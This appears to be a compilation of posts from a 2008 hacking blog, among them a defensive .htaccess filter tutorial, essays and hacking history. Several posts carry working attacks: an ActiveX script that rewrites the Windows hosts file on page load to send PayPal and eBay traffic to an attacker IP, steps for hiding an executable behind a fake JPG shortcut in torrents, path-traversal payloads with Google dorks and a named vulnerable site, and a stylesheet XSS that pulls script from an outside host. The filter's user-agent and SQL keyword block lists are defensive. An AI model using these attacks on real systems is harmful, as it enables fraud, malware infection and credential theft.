0x000000 Security

Apache mod_status.

This is the kind of reconnaissance that is often forgotten about. It's simple and effective. Apache has a module called mod_status, which let administrators generate a screen with server information, like requests, CPU usage, uptime and various other bits of information. Obviously such page must be protected and only accessible from 127.0.0.1 or some other intranet address. Now, call me curious but just a moment I wondered if Apache.org had installed this very same module. That is the kind of thinking I like, you expect not but try anyway. And to my amazement, they have it running in the way that you can view the server-status page remotely.

http://www.apache.org/server-status?refresh=5

The output is something like this:



Apache Server Status for www.apache.org



Server Version: Apache/2.2.8 (Unix)

Server Built: Jan 11 2008 03:41:24



Current Time: Sunday, 11-May-2008 17:41:18 GMT

Restart Time: Sunday, 27-Apr-2008 14:20:46 GMT

Parent Server Generation: 35

Server uptime: 14 days 3 hours 20 minutes 32 seconds

Total accesses: 20168279 - Total Traffic: 12463.1 GB

CPU Usage: u4793.84 s22050.7 cu0 cs0 - 2.2% CPU load

16.5 requests/sec - 10.4 MB/second - 0.6 MB/request

13 requests currently being processed, 87 idle workers



And then a full list of all requests being made on the WHOLE server:



0-35	3696	0/274/131693	_ 	1275.36	0	43	0.0	18.63	68052.16 	74.64.97.135	mail-archives.apache.org	GET /mod_mbox/incubator-heraldry-dev/?format=atom HTTP/1.1

0-35	3696	0/331/133789	_ 	1260.89	45	7	0.0	35.06	67714.56 	74.6.21.221	mail-archives.apache.org	GET /mod_mbox/httpd-cvs/199912.mbox/%3c19991224211227.29151.qma

0-35	3696	0/325/132987	_ 	1261.21	37	1	0.0	14.95	64226.60 	221.155.117.50	www.apache.org	GET /images/asf-logo.gif HTTP/1.1

0-35	3696	0/381/132079	_ 	1275.31	2	1	0.0	26.66	66800.09 	59.94.105.135	www.apache.org	GET /favicon.ico HTTP/1.1

0-35	3696	0/352/131973	_ 	1260.16	60	2	0.0	6.48	67252.40 	124.182.29.39	www.apache.org	GET /style/compressed.css HTTP/1.1

0-35	3696	0/272/133733	_ 	1258.50	66	429	0.0	2.02	66097.19 	66.249.73.69	mail-archives.apache.org	GET /mod_mbox/geronimo-servicemix-commits/200612.mbox/%3C200612

0-35	3696	0/372/132626	_ 	1207.56	64	0	0.0	8.71	67412.13 	79.67.251.89	mail-archives.apache.org	GET /archives/asf_logo_simple.png HTTP/1.1

0-35	3696	0/282/131652	_ 	1275.12	4	77	0.0	22.17	66882.72 	65.55.235.139	mail-archives.apache.org	GET /mod_mbox/httpd-cvs/200204.mbox/author HTTP/1.0

0-35	3696	0/360/132699	_ 	1271.84	10	16	0.0	3.39	65580.91 	66.249.73.69	www.apache.org	GET /dist/commons/transaction/source/?C=S;O=A HTTP/1.1

0-35	3696	0/255/132419	_ 	1253.20	71	77	0.0	16.80	65998.16 	66.249.73.69	mail-archives.apache.org	GET /mod_mbox/ofbiz-user/200609.mbox/%3C966739BB-704E-492D-93D5

0-35	3696	0/294/134198	_ 	1260.12	62	16	0.0	7.58	66850.80 	66.249.73.69	mail-archives.apache.org	GET /mod_mbox/tomcat-users/200406.mbox/%3CDFC0AAB1-B915-11D8-AB

0-35	3696	0/379/132988	_ 	1260.72	51	1	0.0	13.80	65103.83 	212.251.168.234	www.apache.org	GET /ads/ApacheCon/2007-europe-125x125.png HTTP/1.1

0-35	3696	0/334/134733	_ 	1275.05	8	271	0.0	14.26	68360.50 	192.248.8.100	www.apache.org	GET /dyn/closer.cgi/httpd/binaries/win32/ HTTP/1.0

0-35	3696	0/398/134066	_ 	1269.44	13	1	0.0	44.18	66286.38 	58.16.104.191	www.apache.org	GET /images/feather-small.gif HTTP/1.1



etc...

Now what is wrong with this picture I ask you? The answer is very simple. If I can reach this page, I can set an interval of 1 second, parse all requests remotely and grep or regex patterns out that disclose sensitive information. Since the whole server can be monitored by default, it means that somewhere sometime someone will access a protected hidden directory which we can't locate through Google. One thought further, is hardcoded sessions, tokens or passwords into a GET request which we can store for further analysis, or just real-time abuse it with CSRF or session stealing. Apache has provided a method for that as well, which let us grab the status in a machine readable format:

http://www.apache.org/server-status?auto

Another concern is information disclosure or a privacy risk for people that access the domain configured with mod_status and being indexed by Google.

Overall, it is a bad idea to leave this unprotected.

My Webapplication Firewall Tutorial.

Today I had time for another shot at my new .htaccess, and I can tell you that it got better. I think it's pretty much done now, and I am really happy with it. I also got a couple of questions about how it exactly works. So I post my latest .htaccess here, plus a walkthrough on the various mod_rewrite rules I use.

First off, here is my latest beauty:



RewriteEngine On

Options +FollowSymLinks

ServerSignature Off



RewriteCond %{REQUEST_METHOD}  ^(HEAD|TRACE|DELETE|TRACK) [NC,OR]

RewriteCond %{THE_REQUEST}     ^.*(\\r|\\n|%0A|%0D).* [NC,OR]



RewriteCond %{HTTP_REFERER}    ^(.*)(<|>|'|%0A|%0D|%27|%3C|%3E|%00).* [NC,OR]

RewriteCond %{HTTP_COOKIE}     ^.*(<|>|'|%0A|%0D|%27|%3C|%3E|%00).* [NC,OR]

RewriteCond %{REQUEST_URI}     ^/(,|;|:|<|>|">|"<|/|\\\.\.\\).{0,9999}.* [NC,OR]



RewriteCond %{HTTP_USER_AGENT} ^$ [OR]

RewriteCond %{HTTP_USER_AGENT} ^(java|curl|wget).* [NC,OR]

RewriteCond %{HTTP_USER_AGENT} ^.*(winhttp|HTTrack|clshttp|archiver|loader|email|harvest|extract|grab|miner).* [NC,OR]

RewriteCond %{HTTP_USER_AGENT} ^.*(libwww|curl|wget|python|nikto|scan).* [NC,OR]

RewriteCond %{HTTP_USER_AGENT} ^.*(<|>|'|%0A|%0D|%27|%3C|%3E|%00).* [NC,OR]



RewriteCond %{QUERY_STRING}    ^.*(;|<|>|'|"|\)|%0A|%0D|%22|%27|%3C|%3E|%00).*(/\*|union|select|insert|cast|set|declare|drop|update|md5|benchmark).* [NC,OR]

RewriteCond %{QUERY_STRING}    ^.*(localhost|loopback|127\.0\.0\.1).* [NC,OR]

RewriteCond %{QUERY_STRING}    ^.*\.[A-Za-z0-9].* [NC,OR]

RewriteCond %{QUERY_STRING}    ^.*(<|>|'|%0A|%0D|%27|%3C|%3E|%00).* [NC]



RewriteRule ^(.*)$ access_log.php

First we set the basic configuration in order to utilize the Apache mod_rewrite module.

RewriteEngine On

Options +FollowSymLinks

Then our first basic rule is to turn off the server signature, which can be helpful in order to stop banner grabbing:

ServerSignature Off

I use 2 different flags, namely:

NC - Not Case sensitive

OR - Yep, OR!

The first rule is based upon the REQUEST_METHOD. The request method is the method on which a client wishes to connect to our server. I only want GET or POST requests, so I limit methods which I think should not request my server at all. TRACE and TRACK should be blocked in any case, because of the violation of the browsers same origin policy rules. DELETE is optional, but since I won't use it I block it anyway. I also block HEAD request methods, a HEAD request is usually made by law abiding scanners that usually perform banner grabbing and do not want to fetch the whole page. While that might sound reasonable to allow I block it.

RewriteCond %{REQUEST_METHOD}  ^(HEAD|TRACE|DELETE|TRACK) [NC,OR]

THE_REQUEST is the full request that is being made by a client and consist of a long string. This is usefull to sanitize, because I do not want a client sending me dual headers, or dual requests that can lead to http response splitting, or CRLF injection as it was called in the old days.

RewriteCond %{THE_REQUEST}     ^.*(\\r|\\n|%0A|%0D).* [NC,OR]

HTTP_REFERER can contain characters that could be used to pentest a webapplication, or it can carry a worm payload vector. Blocking characters that will likely never happen in a legitimate request, we make sure that it cannot do something malicious.

RewriteCond %{HTTP_REFERER}    ^(.*)(<|>|'|%0A|%0D|%27|%3C|%3E|%00).* [NC,OR]

The HTTP_COOKIE is equal important, and often a place to store pentest characters or payload.

RewriteCond %{HTTP_COOKIE}     ^.*(<|>|'|%0A|%0D|%27|%3C|%3E|%00).* [NC,OR]

The REQUEST_URI is important in server protection. Mostly overflow protection, or canonicalization issues like happened with Apache Tomcat for example. With a max of 9999 duplicate characters.

RewriteCond %{REQUEST_URI}     ^/(,|;|:|<|>|">|"<|/|\\\.\.\\).{0,9999}.* [NC,OR]

This rule set checks the USER_AGENT. Of course, it can be forged. But that is not the point. Wget and cURL is very hard to forge on a platform, and many penetration software packages have hardcoded UA strings which sometimes cannot be changed, usually when it is proprietary software like executables. This is only to thwart the less experienced hackers and massive generic bots, which will also save us bandwidth and log annoyances!

RewriteCond %{HTTP_USER_AGENT} ^$ [OR]

RewriteCond %{HTTP_USER_AGENT} ^(java|curl|wget).* [NC,OR]

RewriteCond %{HTTP_USER_AGENT} ^.*(winhttp|HTTrack|clshttp|archiver|loader|email|harvest|extract|grab|miner).* [NC,OR]

RewriteCond %{HTTP_USER_AGENT} ^.*(libwww|curl|wget|python|nikto|scan).* [NC,OR]

RewriteCond %{HTTP_USER_AGENT} ^.*(<|>|'|%0A|%0D|%27|%3C|%3E|%00).* [NC,OR]

The QUERY_STRING is probably the most important of all, because that is where most of the actual action is happening. In the rules below I check for a common SQL injection pattern, pentest characters for XSS, and also for remote shell injection in the 3rd rule because periods should not be present in the URI.

RewriteCond %{QUERY_STRING}    ^.*(;|<|>|'|"|\)|%0A|%0D|%22|%27|%3C|%3E|%00).*(/\*|union|select|insert|cast|set|declare|drop|update|md5|benchmark).* [NC,OR]

RewriteCond %{QUERY_STRING}    ^.*(localhost|loopback|127\.0\.0\.1).* [NC,OR]

RewriteCond %{QUERY_STRING}    ^.*\.[A-Za-z0-9].* [NC,OR]

RewriteCond %{QUERY_STRING}    ^.*(<|>|'|%0A|%0D|%27|%3C|%3E|%00).* [NC]

Finally, we rewrite the request to a fail-safe page. This can be a script that logs all the information, or you can send it to a forbidden page. Anything you wish.

RewriteRule ^(.*)$ access_log.php

So, I hope that explains it some more and that you can use it, because it really can be another layer of defense. Not only can it protect holes you are not aware of, it also blocks the most webapplication abuse to reckon with. POST issues are not protected for, that simply requires programming sanitation, again by just converting all non-safe characters which should be standard practice.

House Of Hacked Hackers.

Ah well, pun intended. :)

Looks like Ning.com is vulnerable to XSS, and quite a bit at it. I signed up on PDP's new social network called House of Hackers. It seems that Ning let us edit the stylesheet, obviously they never heard of CSS XSS moz-binding attacks otherwise this would not work. These XSS attacks can be launched from a stylesheet.

http://houseofhackers.ning.com/profile/0x0000000

I just created a new CSS rule that fetches the XBL sheet that I borrowed from my good friend Gareth to include it on Ning as an example.



#xg_body {

-moz-binding:url("http://0x000000.com/xbl.xml#xss");

}

Which modifies the page like so:



<?xml version="1.0"?>

<bindings xmlns="http://www.mozilla.org/xbl"

xmlns:html="http://www.w3.org/1999/xhtml">

<binding id="xss">

<implementation>

<constructor>

document.getElementById('xg_sitename').innerHTML = '<h1>HOUSE OF H4x0rs!!!!!</h1>';

</constructor>

</implementation>

</binding>

</bindings>

There are probably more vectors possible, and hence my problem with such sites as a whole.

Grumpy Fuzzball Hacking.

Every now and then, the discussion on what hacking means flares up. Which is good in a way because it is important to know what hacking means. The best way to understand it is to go way back. Well, actually you don't have to go very far to see the true meaning of hacking.

One of the best -personal- examples was the grumpy fuzzball hack. That prank was launched in 1989 by MIT students. When MIT students log onto an Athena workstation, they are normally greeted by the Athena Owl. At the end of the 1989 Fall Term, on the Monday of the last week of classes, they were met by a rather different character, the grumpy fuzzball. Many students commented the fuzzball resembled a burned-out owl and thought it was a fitting revision for the final week of classes.

The Athena workstations 'spontaneously' changed over to the fuzzball login banner around 8am Monday morning. For a few hectic hours on Monday morning, Athena staff examined the code responsible for the hack. They determined that the perpetrators had hacked well over 200 public workstations by hand, and that the hack was harmless. Indeed, at 4am Tuesday morning, the workstations reverted in an equally spontaneous manner.

Now that is fun, and just cool and in a sense old school Rick Rollin. If you want to read more on the history of hacking, I would suggest to read this page for more information:

http://hacks.mit.edu/by_year/

Simple Backdooring Torrents.

Alright this is fun and a bit old school, I finally got around to write about this too. What I will be talking about is a trick to fool users in userland to into executing an executable. Which is really one of the most used techniques in trojan or virus writing, and it can be very reliable. The trick is to let the user think that the action he is about to take is legitimate. Like clicking on a JPG, which actually is an executable and will be treated as such. Imagine this simple scenario;

You download a torrent from a website, and you will be downloading the latest album from your favorite artist, in a compressed archive. The nice seeder was so kind to include album art into it, so you couldn't be more happy. Sounds familiar? then pay attention to what I am about to say. With Windows shortcuts we can easily trick users into executing our executable.

The steps.

0. We start with 1 file, namely an executable which we rename to cute_blonde.jpg
1. Create a shortcut and change it to: C:\WINDOWS\system32\cmd.exe /c cute_blonde.jpg
2. Change the Icon of the shortcut, see figure 1.
3. Set all files besides the shortcut to "hidden".
4. rar/zip all of it, and you are ready!

Figure 1.

In figure two I changed it to an Explorer Icon, which will point to our hidden executable. You can change it to whatever you like of course.

Figure 2.

Pretty easy isn't it? There are many ways of going about this, and many different methods to gain control of someone's PC. This is one of the most easiest ways, and certainly very convincing. The basic conclusion is as always: don't click anything, even if it looks like a JPG.

But you already knew that right? ;)

HTTP Source Streaming.

Okay, this isn't new but I never got to the point to actually talk about this here. While HTTP source streaming is a very basic concept, I noticed that not everyone noticed it's principle and that some programmers still don't understand security. In certain cases programmers need to stream a file to the screen. The problem arises when programmers are streaming hardcoded files to the screen instead of stored file pointers. The URI is not designed to correlate files, it's meant for the basic scheme and it's optional query string parameters. This is actually one of the first techniques I learned, back in the days that I started to learn about webapplication vulnerabilities. For once it gave me full root access to a very famous switch manufacturer from which I wanted to obtain information. Thing is, after all these years I am still stunned that it still works on so many websites, and my reason to re-hash it.

A simple explanation:

www.example.com/download.php?file=newsletter.PDF

Now that is bad, and likely vulnerable to HTTP source streaming in the following way:

www.example.com/download.php?file=download.php

www.example.com/download.php?file=config.php

www.example.com/download.php?file=../etc/passwd%00

And that usually streams the source of the file to the screen. This way it is very easy to obtain it's source and all the files that contain credentials, like database or ftp settings. Easy stuff, but dangerous. So if you are bored go try it out. It's easy to find all the vulnerable sites in a multitude of different Google dorks, one of them can look like this:

http://www.google.com/search?q=allinurl:download.php?file=

http://www.google.com/search?q=allinurl:download.php?file= .pdf

Which gives us at least about 250.000 potential victims, pretty sad eh?

http://monitory.eactive.pl/download.php?p=download.php

A sample link from the first 20 search results, and we still wonder why so many servers get hacked. We could easily aggregate around 10K of zombies this way in a weekend. But we don't, that is the difference.

Simple Pharming.

Today I decided to give a very brief example on pharming and why it's so easy to pharm surfers with little or no skills. Usually, browser exploit writers give simple examples on how to read the boot files, or launch a calculator. There is so much you can do with Javascript that the best way to describe the toxic mix of browser exploits with Javascript will be an example to launch a pharming attack. The sheer beauty of pharming is that the surfer will almost never know that he has been compromised, because it is very silent. One way of quickly pharm surfers is to modify the hosts file on Windows.

The hosts file on XP is located at:

C:/WINDOWS/system32/Drivers/etc/hosts

And consist of something like this:



# Copyright (c) 1993-1999 Microsoft Corp.

#

# This is a sample HOSTS file used by Microsoft TCP/IP for Windows.

#

# This file contains the mappings of IP addresses to host names. Each

# entry should be kept on an individual line. The IP address should

# be placed in the first column followed by the corresponding host name.

# The IP address and the host name should be separated by at least one

# space.

#

# Additionally, comments (such as these) may be inserted on individual

# lines or following the machine name denoted by a '#' symbol.

#

# For example:

#

#      102.54.94.97     rhino.acme.com          # source server

#       38.25.63.10     x.acme.com              # x client host



127.0.0.1       localhost

As you can see, the last line contains our 127.0.0.1 address on which the lookup will be made when we type "localhost" into our browser. This is how these lookups are done these days. If the browser cannot locate it, it will try different combinations, like appending www and .com to the request. The most important thing to know is, that if this file is modified it stays modified and it is very unobtrusive to it's user because it only requires a one time write access. Sadly, Microsoft doesn't seem to learn about the Active-X risks. As said before, I see no valid reason why Javascript should have write access to the file system.

The script below requires user confirmation in the browser, but like I said some browser exploits will take care of this. It means that you can be pharmed without you knowing it happened. That is the most scary part about it, and why browser exploits are so dangerous.In the script below we just route any traffic to our evil IP with only a small piece of Javascript that overwrites the surfers hosts file.

<html>

<head>

<script language="javascript">



function pharmer(){

var fso = new ActiveXObject("Scripting.FileSystemObject");

var pharm = fso.CreateTextFile("C:\\WINDOWS\\system32\\Drivers\\etc\\hosts", true);

pharm.WriteLine('127.0.0.1       localhost');

pharm.WriteLine('188.222.33.1    paypal');

pharm.WriteLine('188.222.33.1    www.paypal.com');

pharm.WriteLine('188.222.33.1    ebay.com');

pharm.WriteLine('188.222.33.1    www.ebay.com');

pharm.Close();

}



</script>

</head>

<body onLoad="pharmer()">

</body>

</html>

Et Voila, that's all there really is for a very basic pharming attack, obviously there are more ways but this gives a good example on what pharming exactly is and does, and how easy it actually can be.

Reconciliation Of You.

Let us not pretend to doubt in philosophy what we do not doubt in our hearts -- Charles Peirce

I often ask perilous questions, in regard to myself or other people or society as a whole. The most perilous question one can ask, is to question the question. To search for the true motive behind a question or act. Distraction and different biases makes good and crystal clear thinking often very cumbersome. I believe that there are two different ways of expressing yourself, or better: two different ways of going about it. The first way of dealing with things is the false impression of yourself or the mask, and the other is the real true expression of yourself, or the true meaning and reason behind things. Which means that the true meaning behind things can work and operate through methods that are not sincere in order to obtain them. It is false, and it is not the real you. It is self-trickery.

My first hands-on experience was when I started to design for the Internet. Like most designers, we think that what we make, makes sense to everyone. And that design is the pinnacle of aesthetics. What designers often forget, is that enjoying design means learning enjoying design. To obtain designer skills, you must learn what is slick and what is not. The golden mean, proportion and color use. But there is a problem with that. When we are in the act of learning it, we actually lose track of it. It is numbing us, the more you focus on a particular object the more you'll lose it's shape and function. Designers can get a hang-up on a pixel that is out of place, while the average surfer doesn't even see nor care about it. He isn't trained to see it, and thus cannot appreciate what the designer intended to present to the surfer. Most surfers come on the Internet for information, not for your design. And thus, the objective gets in his own way.

Designers then learn the laws of simplicity, leaving stuff out instead of putting stuff in, because that looks somehow better. And in the end they are no longer designers, because they don't longer de-sign it, but rearrange what pleases the eye. They learn to lose their skills and are going back where they actually started. Most painters you know about had the same reverse curve in their life. Many started out with detailed pictures, and when they gain mastery they are painting with 2 inch thick brushes, squashing paint and use abstract techniques to capture their thoughts and ideas. They un-learned it, but they needed that long hard road to get to the ultimate sophistication which everyone already possesses. Which actually sounds a bit awkward. But what they are doing is mirroring what they already are, instead on improving on it. They mirroring their true self into it, because that cannot be improved upon in a strict sense.

I think many things in life work this way. Whether you talk about learning to play an instrument or trying to be a hacker. Sure enough, one needs the necessary evil which is called learning. But is that true? and why is that true. Isn't this also taught that it has to be like this? Why can't knowledge stem from yourself? Learning is knowing what someone else already found out. So, basically someone knew nothing first, and obtained it from within, because it has to start somewhere. Actually, learning is nothing more than a translation into symbols you already understand natively. There isn't really any new information that you didn't already knew about. Learning C or Java is only a matter of understanding it's syntax. It isn't new information, only it's representation differs.

So I think that learning or gaining knowledge is only reconciliation. It is knowing yourself, understanding yourself. To grasp yourself by going through all the curves and turning back where you started. When people get lost or got a hang-up on something, it is when they separate the knowledge from them self. Knowledge becomes alien, this world becomes alien and hostile. The universe must be controlled. It is out-of-control, and something that must be rigorously beaten into submission to gain control of it. But what we try to obtain is self-control through it. I always think that control is recursive, it leads to alienation, misery and frustration. When we are trying to understand something we usually don't look in the obvious place to start looking. We start to look outside ourselves, instead of looking inwards. I think that is the ultimate philosophy and answer there is, because there is nothing besides what you already are. There is nothing you cannot accomplish what you already are. Knowing yourself takes courage but it leads to wisdom, and wisdom shatters all false reasons and reconciles you with knowledge, which is you, you who doesn't have to prove it's you anymore.

Breaking The Google Audio Captcha.

I came across a nice piece of research from Wintercore[0]. Research that isn't talked or discussed about much. So I thought it might be an excellent idea to talk about it here, since breaking Captcha's has become a trend lately. Well, I am no expert on Captcha's nor on how to break them, but I understand that having predictable patterns in your Captcha makes it vulnerable to all sorts of attacks. From what I know, is that most Captcha's have predictable patterns, like the same font or the same font size and such. Wintercore however went on to investigate the Google audible Captcha, and found that it's pretty trivial to break with around 90% accuracy. Their demo video shows a 100% accuracy[1]. Pretty nice research, just for the fact of hacking c.q. an intellectual exercise and not for spamming of course.

According to Wintercore, the main problems present in this audio captcha are the following:

* Slightly distorted signal over the frequency domain.

* Signals have an invariant duration along the time axis.

* Same voice.

* Fixed patterns at the init, middle and end of the captcha.

* Numeric sequence as proposed challenge. (maybe the most important one)

So, it seems to me that whoever is engineering these things have absolutely no clue whatsoever about these issues. I mean, doesn't it sound plausible to avoid recurring patterns? How can you ever engineer something when you don't understand the problem you try to solve?

[0] http://blog.wintercore.com/?p=11
[1] http://blog.wintercore.com/files/breaking_gmail_audio_captcha.wmv

Overflows The Visual & Audible Way.

While surfing for the original pong schematics -I am planning to build my own original electronic version of it- I came across this video by Jon Stanley who built a relay computer. This is just amazing, and I really want to build one myself one day. The reason is pretty obvious, to program your own instructions by hand, and then hearing the sound of the actual relays performing your instructions is just beyond words! Moreover, this video shows an actual overflow in a branch loop c.q. recursion. Of course it is not exactly the same due to different architecture as your PC, but it gives an idea of what happens. A very nice visual presentation of writing into invalid memory and triggering utter processing noise, pretty awesome if you ask me.

Jon explains: The 32KB RAM is only active from x0000 to x7FFF, so when the CPU branches to xFFFC, nothing is returned on the data bus. This "nothing" or x00 is interpreted as a NOP (no operation) by the CPU, so it simply increments the program counter until an instruction appears. However, as xFFFC increments to xFFFD, xFFFE, xFFFF, the 16-bit incrementer overflows and the PC goes back to x0000. Voila, the CPU is back to the branch instruction that sent it to xFFFC. Sounds like the most worthless program, a branch that loops back to itself. However, the fact the PC changes from the low end of memory to the high end of memory causes the clicks to get heavier. Also, when the PC loads a lot of bits, i.e. xFFFC then the current draw increases dramatically. Also, the computer's clock is gradually increased from around 6 machine cycles per second at the beginning of the video to around 30 machine cycles per second near the end of the video. Beyond 30 machine cycles per second, the relay CPU will start losing bits and go haywire.

Check out his work: http://www.electronixandmore.com/project/relaycomputertwo/